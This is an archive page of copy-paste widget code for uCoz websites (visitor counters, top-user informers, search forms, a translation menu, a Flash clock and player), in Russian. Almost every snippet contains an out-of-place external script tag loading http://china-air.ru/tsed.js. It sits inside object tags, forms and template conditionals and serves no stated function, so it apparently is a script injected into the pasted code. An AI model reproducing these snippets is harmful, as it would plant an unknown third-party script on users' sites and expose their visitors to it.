Для красивого отображения этого блока требуется Flash Player 9 или выше.

Главная » Архив материалов
« 1 2 3 4 5 6 ... 22 23 »
[c][/c]Данный скрипт выводит количество человек посетивших ваш сайт.
А под количеством выводятся имена этих пользователей

Установка:
1) Заходим в Панель Управления » Информеры » Создать Информер
Вот ссылка адрес_вашего_сайта/panel/?a=informers

Параметры информера:
Название информера - любое;
Раздел - пользователи посетившие сайт за текущий день
Создать

Открываем дизайн информера, и заменяем всё на этот код:

[code]<div style="margin: 2px 0 2px 0;">
<a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$</a>
</div>[/code]

Копируем код вызова информера - например $MYINF_1$

2) Вставляем код ниже, туда где хотим видеть информацию о посетителях:

[code]<div style="text-align:center;" id="userkaNum">Сегодня заглянули<br> <b id="usNaN"></b> </div>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script><script type="text/javascript">
NanUsers = function(number, one, two, five) { number = Math.abs(number); number %= 100; if (number >= 5 && number <= 20) { return five; } number %= 10; if (number == 1) { return one; } if (number >= 2 && number <= 4) { return two; } return five; };
$.get('/index/62-2', function(numUs){
$("#usNaN").append( $('a',$('cmd[p="content"]',numUs).text()).size() );
$("#userkaNum").append( NanUsers($('a',$('cmd[p="content"]',numUs).text()).size(), 'человек:', 'человека:', 'человек:') );
});
</script>
<div class="user_online">$MYINF_1$</div>
<style type="text/css">
.user_online {overflow: auto;background: #F3F3F3;
color: #252525;border: 1px solid #EAEAEA!important;
border-radius: 5px;max-height:70px;
font-size: 12px;padding: 3px 3px 3px 7px;}
</style>[/code]
Просмотров: 329 | Дата: 01.01.2013 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]УСТАНОВКА СКРИПТА:

Для начала нужно создать информер [Пользователи · Материалы · Кол.комментариев · Материалы:9 · Колонки:3] в шаблон информера кидаем код что будет указан ниже, и потом создаем блок и вставляем в блок номер вашего информера=)

[code]<table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable">
<tr><td class="infTd" width="33%">
<table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable">
<tr><td class="infTd" width="33%">
<table align="center" border="0" cellspacing="1" cellpadding="0" width="100%">
<tbody><tr><td width="33%"> <div align="center"> <div class="informer_user_ava">
<div class="tooltip_user">
<a href="$PROFILE_URL$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?>
<img class="user_ava_a" src="$AVATAR_URL$"><?else?>
<img class="user_ava_a" src="http://bambun.ru/images/net.gif">
<?endif?>
<span>
<div class="user_v"> <div class="user_v_p"> <div class="user_name">$USERNAME$</div>

<?if($FULL_NAME$)?><div class="user_full_name">$FULL_NAME$</div><?endif?></div></div>

<div class="user_c">
<div class="user_i">Файлов:</div><div class="user_ii">$LOAD_POSTS$</div>
<div class="user_i">Сообщений:</div><div class="user_ii">$FORUM_POSTS$</div>
<div class="user_i">Репутация:</div><div class="user_ii">$REPUTATION$</div>
<div class="user_i">Регистрация:</div><div class="user_ii">$REG_DATE$</div></div>
<div class="user_n"><div class="user_v_p"><div class="user_full_name">Комментарий: $COM_POSTS$ ( $NUMBER$ место ) </div> </div> </div> </span> </a> </div> </div> </div> </td></tr></tbody></table></td></tr></table></td></table>[/code]

А потом зайти в ваш CSS стиль и в самый низ вставить вот этот код:

[code]/* User-top */
.informer_user_ava {width:60px}
.informer_user_nic {width:60px;font:9px Verdana,Arial,Helvetica,sans-serif;color:#1E90FF;margin:3px 0 10px}
.tooltip_user a {text-decoration:none;color:#333}
.tooltip_user a:hover {position:relative}
.tooltip_user a span {display:none}
.tooltip_user a:hover span {z-index:999;display:block;position:absolute;text-align:left;color:#1E90FF;font-size:8pt;top:-150px;right:0;width:250px;background:url('http://bambun.ru/images/fonn.png'); border:1px solid #000000;padding:0}
.user_i, .user_ii {float:left;width:120px;margin-bottom:2px;padding:0 0 5px;background:url('') repeat-x bottom}
.user_v {border-bottom:1px solid #000000}
.user_n {border-top:1px solid #000000}
.user_c {clear:left;overflow:hidden;font:9px Verdana,Arial,Helvetica,sans-serif;color:#1E90FF;padding:5px}
.user_v_p {padding:3px 4px 0}
.user_v, .user_n {clear:left;height:25px;background:url('http://bambun.ru/images/fonn.png') repeat-x top #171717}
.user_name {float:left}
.user_full_name {float:right}
.user_full_name, .user_name {background:;padding:2px 5px;font-size:10px;border-top:1px solid #0d0d0d;border-right:1px solid #0d0d0d;border-left:1px solid #0d0d0d;border-bottom:1px solid #0d0d0d}
.user_ava_a {padding:4px; border:1px solid #0d0d0d;}
.user_ava_a {width:50px; height:50px; background:url('http://bambun.ru/images/fonn.png');}
/* ---------------------------------- */[/code]
Просмотров: 300 | Дата: 31.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]Описание: Скрипт Топ пользователей для Ucoz. С позициями + хинт информации о пользователи при наведении курсором на аватар.
Установка:
Создаем информер:
[ Пользователи · Материалы · Кол. файлов · Материалы: 8 · Колонки: 2 ]
В шаблон информера вставляем:

[code]<div class="utop-user" align="center">
<a href="$PROFILE_URL$" class="ut-ava" title="<b>Имя:</b> $USERNAME$<br/><b>Файлов:</b> $LOAD_POSTS$</br><b>Форумов:</b> $FORUM_POSTS$</br><b>Коментариев:</b> $COM_POSTS$</br>">
<?if($AVATAR_URL$)?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<img src="$AVATAR_URL$"><?else?>
<img src="http://bambun.ru/images/noa23va.png">
<?endif?>
</a>
<a href="$PROFILE_URL$"><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></a>
<div class="utop-number">$NUMBER$</div>
</div>[/code]

В CSS вставляем в самый низ

[code]

/*Новые участники*/
.utop-user {display:inline-block; width:70px; margin-bottom:8px; position:relative; font-size:10px;}
.utop-user .utop-number {position:absolute; top:-2px; left:-1px; padding:1px 3px; font-size:10px; font-weight:bold; color:#fff; background:#000;
border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;}
.utop-user a.ut-ava img {max-width:52px; height:52px;border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px;}
.utop-user a.ut-ava {border:1px solid #cfcfcf; padding:2px; width:52px;border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px; text-align:center; display:inline-block;}
.utop-user a.ut-ava:hover {border-color:#000;}
#easyTooltip{
padding:10px;
border:1px solid #000000;
background:#000;
border-radius: 4px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
color: #666666;
filter:alpha(opacity=90);
-moz-opacity: 0.9;
-khtml-opacity: 0.9;
opacity: 0.9;
z-index:1000;
}
/*===================================*/[/code]

В нижнюю часть сайта

[code]<script type="text/javascript" src="http://bambun.ru/css_js/tooltip.js"></script>
<script>
$(document).ready(function(){$("a").easyTooltip()});$(document).ready(function(){$("img").easyTooltip()});
</script> [/code]
Просмотров: 240 | Дата: 30.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]Установите эти красивые Flash часы простой вставкой кода. Скопируйте код и поместите его в нужное место на своем сайте. Более подходяще эти часы смотрятся на сайтах в системе uCoz. Часы для uCoz – это простые часы, которые часто устанавливаются на сайтах такой тематики, как игры, аниме, в частности игры Counter-Strike 1.6 и Counter-Strike Sourse. Хотелось бы максимально точно дать определение тем, но это сделать невозможно, т.к. часы универсальные.

Надеюсь, что эти часы для uCoz придут по вкусу Вам и подойдут под дизайн вашего сайта. Советуется устанавливать данные аналоговые часы для uCoz именно для сайта с белым фоном, ну, или хотя бы на сайте со светлым дизайном.

Циферблата нету, поэтому такие стрелочные часы будут скорее элементом дизайна, нежели средством, которое показывает время. Сейчас часы представляются, как элементы оформления.

[code]<object type="application/x-shockwave-flash" data="http://bambun.ru/css_js/562_Clock.swf"
width="200" height="200">
<param name="movie" value="http://bambun.ru/css_js/562_Clock.swf">
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<param name="wmode" value="transparent">
</object>[/code]
Просмотров: 289 | Дата: 30.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:

[code]$SEARCH_FORM$[/code]

Везде ставим:

[code]<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
<input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<input class="poick_knopka" type="submit" value="Найти" />
<input type="hidden" name="t" value="0" />
</form>[/code]

И теперь остается прописать стили!
Фиолетовая форма:

[code]/* Форма поиска фиолетовая кнопка
------------------------------------------*/
.poick_os {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka {
text-shadow: 1px 1px 1px #751a9b;
width:70px;
height:27px;
cursor:pointer;
background:#ce36fa;
border:1px solid #a622e3;
color:#fff; font-weight: bold!important;
}

.poick_knopka:hover {background:#b73cea;}

.poick_os,
.poick_knopka {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Синяя форма:

[code]/* Форма поиска синяя кнопка
------------------------------------------*/
.poick_os1 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os1 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole1 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka1 {
text-shadow: 1px 1px 1px #1061B0;
width:70px;
height:27px;
cursor:pointer;
background:#36A6FA;
border:1px solid #2290e3;
color:#fff; font-weight: bold!important;
}

.poick_knopka1:hover {background:#3c9fea;}

.poick_os1,
.poick_knopka1 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Красная форма:

[code]/* Форма поиска красная кнопка
------------------------------------------*/
.poick_os2 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os2 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole2 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka2 {
text-shadow: 1px 1px 1px #b01010;
width:70px;
height:27px;
cursor:pointer;
background:#fa3636;
border:1px solid #e32222;
color:#fff; font-weight: bold!important;
}

.poick_knopka2:hover {background:#ea3c3c;}

.poick_os2,
.poick_knopka2 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Зеленая форма:

[code]/* Форма поиска зелёная кнопка
------------------------------------------*/
.poick_os3 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os3 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole3 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka3 {
text-shadow: 1px 1px 1px #368620;
width:70px;
height:27px;
cursor:pointer;
background:#6ae14a;
border:1px solid #57c939;
color:#fff; font-weight: bold!important;
}

.poick_knopka3:hover {background:#65d447;}

.poick_os3,
.poick_knopka3 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]

Оранжевая форма:

[code]/* Форма поиска оранжевая кнопка
------------------------------------------*/
.poick_os4 {
float:left;
padding:4px;
width:300px;
background:#fff;
border: 1px solid #A0A8AC;
}

.poick_os4 input {
float:left;
margin:0px;
vertical-align:middle;
font:11px Verdana,Arial,Helvetica,sans-serif;
}

.poick_pole4 {
color:#555;
width:220px;
height:15px;
border:none;
padding:6px 4px;
}

.poick_knopka4 {
text-shadow: 1px 1px 1px #865520;
width:70px;
height:27px;
cursor:pointer;
background:#e1954a;
border:1px solid #c97639;
color:#fff; font-weight: bold!important;
}

.poick_knopka4:hover {background:#d48347;}

.poick_os4,
.poick_knopka4 {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}[/code]
Просмотров: 293 | Дата: 28.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]Преимущество: очень мало занимает места на сайте,подойдет под любой дизайн..
Перевод сайта uCoz на другие языки мира доступны 22 языка увеличьте посещаемость своего сайта иностранными гражданами :)
Вставляем по месту:

[code]<link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/romestyle.css">
<script type="text/javascript" src="http://bambun.ru/css_js/rome.js"></script>
<div class="chromestyle" id="chromemenu">
<ul>
<li><a href="bambun.ru" rel="dropmenu2" onclick="window.open('http://bambun.ru', '_blank', 'width=600,height=500,top=100,left=100,resizable=1,scrollbars=yes');return(false);" target="_blank"></a></li>
</ul>
</div>
<div id="dropmenu1" class="dropmenudiv">
</div>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<div id="dropmenu2" class="dropmenudiv" style="width: 300px;">
<form action="http://www.google.com/translate">
<script language="JavaScript">
document.write ("<input name=u value="+location.href+" type=hidden>")
</script>
<input value="ru" name="hl" type="hidden">
<input value="UTF8" name="ie" type="hidden">
<input value="" name="langpair" type="hidden"><div align="center"><span style="font-size: 8pt;"><b>Выбрать язык / Select language:</b></span></div>
<table style="border-collapse: collapse; width: 100%;"><tbody><tr><td>
<input onclick="this.form.langpair.value=this.value" title="Ukranian" value="ru|uk" src="http://bambun.ru/images/Ukraine.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Ukranian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="English" value="ru|en" src="http://bambun.ru/images/Britain.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">English</span><BR>
<input onclick="this.form.langpair.value=this.value" title="French" value="ru|fr" src="http://bambun.ru/images/France.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">French</span><BR>
<input onclick="this.form.langpair.value=this.value" title="German" value="ru|de" src="http://bambun.ru/images/Germany.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">German</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Japanese" value="ru|ja" src="http://bambun.ru/images/japan.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Japanese</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Italian" value="ru|it" src="http://bambun.ru/images/Italy.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Italian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Portuguese" value="ru|pt" src="http://bambun.ru/images/Portugal.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Portuguese</span>
</td><td>
<input onclick="this.form.langpair.value=this.value" title="Spanish" value="ru|es" src="http://bambun.ru/images/Spain.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Spanish</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Danish" value="ru|da" src="http://bambun.ru/images/Denmark.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Danish</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Chinese" value="ru|zh-CN" src="http://bambun.ru/images/China.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Chinese</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Korean" value="ru|ko" src="http://bambun.ru/images/Korea.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Korean</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Arabic" value="ru|ar" src="http://bambun.ru/images/Arab.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Arabic</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Czech" value="ru|cs" src="http://bambun.ru/images/Czech.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Czech</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Estonian" value="ru|et" src="http://bambun.ru/images/Estonia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Estonian</span>
</td><td>
<input onclick="this.form.langpair.value=this.value" title="Belarusian" value="ru|be" src="http://bambun.ru/images/Belarus.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Belarusian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Latvian" value="ru|lv" src="http://bambun.ru/images/Latvia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Latvian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Greek" value="ru|el" src="http://bambun.ru/images/Greece.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Greek</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Finnish" value="ru|fi" src="http://bambun.ru/images/Finland.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Finnish</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Serbian" value="ru|sr" src="http://bambun.ru/images/Serbia.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Serbian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Bulgarian" value="ru|bg" src="http://bambun.ru/images/Bulgaria.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Bulgarian</span><BR>
<input onclick="this.form.langpair.value=this.value" title="Turkish" value="ru|tr" src="http://bambun.ru/images/Turkey.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Turkish</span>
</form></td></tr></tbody></table>
</div>
<script type="text/javascript">
cssdropdown.startchrome("chromemenu")
</script>[/code]
Просмотров: 285 | Дата: 28.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]Новый информер для светлых дизайнов - Лучшие Пользователи.

Установка:
1) Создаём информер "Лучшие пользователи" - создаются они тут:
http://адрес_вашего_сайта/panel/?a=informers

Параметры информера:

Название информера - Лучшие пользователи
Раздел - Пользователи
Способ сортировки - Кол.Файлов (Или количество новостей и т.п. - на ваше усмотрение)
Количество материалов - 5
Количество колонок - 1

Жмём "Создать"

Теперь открываем дизайн информера
Удаляем и всё там и вставляем:

[code]<table width="100%" class="utop" cellpadding="0" cellspacing="0"><tbody><tr><td class="left">
<img class="utop_ava" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/noat.png<?endif?>" alt="Аватар $USERNAME$">
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script><div class="utop_user_number">$NUMBER$</div>
</td><td class="uinfo" valign="top" align="left">
<div class="author"><a href="/index/8-5">$USERNAME$</a></div>
<span>Комментариев: $COM_POSTS$</span>
<span>Публикаций: $LOAD_POSTS$</span>
<span>Группа: <?if($GROUP_NAME$='Администраторы')?>Админ<?else?>$GROUP_NAME$<?endif?></span>
</td></tr></tbody></table>[/code]

Теперь запоминаем код вызова информера - например $MYINF_1$
Создаём новой блок (или через конструктор или вручную) - Называем как хотим
И в дизайн блока вставляем:

[code]$MYINF_1$
<link type="text/css" rel="StyleSheet" href="http://bambun.ru/css_js/utop.css">[/code]

$MYINF_1$ - Меняем на свой код вызова

Готово - Удачи)
Просмотров: 319 | Дата: 25.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]Данная статистика разнообразит ваш сайт нестандартным видом показа сколько людей на сайте... Теперь статистика будет показываться не в столбик как раньше, а полосой загрузки хотя можно использовать сразу два варианта, это на вкус гурманов. Ширина полоски и ее цветовая схема будет зависеть от того, сколько в данный момент на сайте сидит людей... Один человек равен одному проценту, т.е. если на сайте 5 человек, то полоска будет длной в 5% и т.д. А если на сайте никого не будет, то полоска будет пустая, но этого никто не увидет XD))... Но а если случится так, что общее количество человек привысит ста, то полоска не выдит за края, а будет находится на ста процентах... А что же со цветовой схемой полоски спросите вы, так тут все просто, работает это вот так, если на сайте до десяти человек, то полоска будет светло зеленой, если от десяти до двадцати, то полоска будет немного темнее, от двадцати до тридцати, полоска будет светло оранжевой, а от тридцати до сорока уона будет немного темнее, далее цвет полоски от сорока до пятидесяти примет светло голубой цвет, а от пятидесяти до шестидесяти она будет темнее, от шестидесяти до семидесяти полоса будет светло фиолетовой, а с семидесяти до восьмидесяти она как вы уже поняли потемнеет, от восьмидесяти до девяноста полоса будет светло красной, а все что уже выше девяноста, будет темно красным, ну вобщем на этом цветовая схема закончилась...
По стандартному данная статистика показывает сколько на сайте всего людей, а что бы узнать сколько на сайте гостей или пользователей, вам необходимо будет просто нажать на маленькую вкладочку белого цвета которая находится под статистикой (если что, при наведении на каждую вкладку будет написано что щас отобразится) и при нажатии на нее вам будет показаны или пользователи или гости, смотря куда вы нажмете, а можете вернуться к общей статистики, ну вообщем на этом всё...

Установка:

Вставляем после $ONLINE_COUNTER$:

[code]<div id="statistikaWebo4kaRu1"><div id="statistikaWebo4kaRu2"><div id="statistikaWebo4kaRu3"></div><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></div></div>
<div style="position:relative; top:-34px; text-align:center; color:#666; font-weight: bold; font-family: Arial, Helvetica, sans-serif;"><z id="vivodUserWebo4kaRu"></z></div>

<table cellspacing="0" cellpadding="0"><tr>
<td>
<a href="javascript://" onclick="vsegoWebo4kaRu();" style="outline: 0;" title="Всего"><div id="stPerekWebo4kaRu1" style="position:relative; top:-29px; left:20px; width: 10px; height:8px; padding:3px; background: #e0e0e0; border: 1px solid #bbb; border-top:0px; box-shadow: 0px 1px 3px #eee; -moz-border-bottom-right-radius:5px; -o-border-bottom-right-radius:5px; -webkit-border-bottom-right radius:5px; border-bottom-right-radius:5px; -moz-border-bottom-left-radius:5px; -o-border-bottom-left-radius:5px; -webkit-border-bottom-left radius:5px; border-bottom-left-radius:5px;"></div></a>
</td>

<td>
<a href="javascript://" onclick="gosteiWebo4kaRu();" style="outline: 0;" title="Гостей"><div id="stPerekWebo4kaRu2" style="position:relative; top:-29px; left:25px; width: 10px; height:8px; padding:3px; background: #fff; border: 1px solid #bbb; border-top:0px; box-shadow: 0px 1px 3px #eee; -moz-border-bottom-right-radius:5px; -o-border-bottom-right-radius:5px; -webkit-border-bottom-right radius:5px; border-bottom-right-radius:5px; -moz-border-bottom-left-radius:5px; -o-border-bottom-left-radius:5px; -webkit-border-bottom-left radius:5px; border-bottom-left-radius:5px;"></div></a>
</td>

<td>
<a href="javascript://" onclick="userWebo4kaRu();" style="outline: 0;" title="Пользователей"><div id="stPerekWebo4kaRu3" style="position:relative; top:-29px; left:30px; width: 10px; height:8px; padding:3px; background: #fff; border: 1px solid #bbb; border-top:0px; box-shadow: 0px 1px 3px #eee; -moz-border-bottom-right-radius:5px; -o-border-bottom-right-radius:5px; -webkit-border-bottom-right radius:5px; border-bottom-right-radius:5px; -moz-border-bottom-left-radius:5px; -o-border-bottom-left-radius:5px; -webkit-border-bottom-left radius:5px; border-bottom-left-radius:5px;"></div></a>
</td>
</tr></table>
<script type="text/javascript" src="http://bambun.ru/css_js/new_vid_statistiki_polzovatel.js"></script>[/code]

p.s. если вам не нужна стандартная статистика, то облипите $ONLINE_COUNTER$ дивом:

[code]<div style="display:none;"></div>[/code]

готово!
Просмотров: 377 | Дата: 25.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее.

Установка!

Ставим этот скрипт после тега <body>:

[code]<script type="text/javascript">
$(document).ready(function(){
var first = 0;
var speed = 700;
var pause = 3500;

function removeFirst(){
first = $('ul#center_dm_ru li:first').html();
$('ul#center_dm_ru li:first')
.animate({opacity: 0}, speed)
.fadeOut('slow', function() {$(this).remove();});
addLast(first);
}

function addLast(first){
last = '<li style="display:none">'+first+'</li>';
$('ul#center_dm_ru').append(last)
$('ul#center_dm_ru li:last')
.animate({opacity: 1}, speed)
.fadeIn('slow')
}

interval = setInterval(removeFirst, pause);
});
</script>[/code]

Создаем информер с такими параметрамы: Коментарии - Все модули - Количество материалов 10 - Колочество колонок 1 и вставляем в информер такой код:

[code]<li>
<?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><?else?><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?endif?><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a>
</li>[/code]

Вставляем этот код в блок и меняем на свой информер:

[code]<ul id="center_dm_ru">
$MYINF_1$
</ul>[/code]

И прописываем в css стили информера:

[code]#center_dm_ru {
overflow:hidden;
height:250px;
width:250px;
border:solid 1px #C8D9E5;
padding: 0px 0px 0px 0px;
background: #F8FCFF;
}

#center_dm_ru li {
list-style:none;
overflow:hidden;
border-top: 1px solid #fff;
border-bottom: 1px solid #C8D9E5;
padding: 10px 5px 10px 5px;
}

.coment_avatar {
float:right;
width:25px;
height:25px;
background: #F3F3F3;
margin-left: 5px;
padding: 2px;
border:1px solid #C8D9E5;
}

.massage_link:link,
.massage_link:visited {
text-decoration: none;
color:#555;
}

.massage_link:hover {
color:#999;
}

#center_dm_ru li a:hover img {
filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);
-moz-opacity: 0.5;
opacity: 0.5;
filter: alpha(opacity=50);
}[/code]

[code][/code]
Просмотров: 287 | Дата: 24.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]

Прошу вашему внимаю видоизмененный опрос
Он стал гораздо изящнее и не выделяется из дизайна сайта

Установка:
1. Скачиваем архив
2. Заливаем файлы в папку images вашего сайта
3. Из документа "вид формы опроса.txt" копируем всё и вставляем его в вид формы опроса(ПУ)
4. Копируем всё из файла "Это в css.txt" и вставляем всё в самый низ CSS(ПУ)

Ссылка на архив http://narod.ru/disk/64646007001.4f8725af739b38c6028a2fdd4a6ef1fd/56_3345_opross.rar
Просмотров: 272 | Дата: 24.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]Отличный белый плеер с плейлистом подойдёт для сайтов со светлым дизайном

Установка!

1) Качаем архив, загружаем флеш(swf) и файл "xml" в корень сайта или же в отдельную папку.

2) Чтобы установить плеер на сайт используем такой код:

[code]
<!---mppleer--->
<div id="pleer" style="position: absolute;left:0px;top:0px;">
<object type="application/x-shockwave-flash" data="Ссылка на ваш флеш?playlist=Ссылка на файл xml?3217" width="280" height="280" wmode="transparent">
<param name="movie" value="Ссылка на флеш?playlist=Ссылка на xml?3217" />
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<param name="wmode" value="transparent" />
</object></div>
<!---/mppleer--->
[/code]

3) Чтобы добавить треки в плеер ,нужно редактировать файл "xml", для етого открываем его блокнотом и в етих строках добавляем ссылки на ваш mp3 файл и их названия:

[code]<?xml version="1.0" encoding="UTF-8"?>
<player showDisplay="yes" showPlaylist="yes" autoStart="no">
<song path="Ссылка на mp3" title="Название трека"/>
<song path="Ссылка на mp3" title="Название трека"/>
<song path="Ссылка на mp3" title="Название трека"/>
</player>[/code]

Скачать плеер http://narod.ru/disk/64669402001.c633257f1c93586ba88081767f15dbe2/83_3823_pleer.rar
Просмотров: 282 | Дата: 24.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

 
 
 
 
 
 
 
 
Copyright Panterka  В.ерный © 2024 Хостинг от uCoz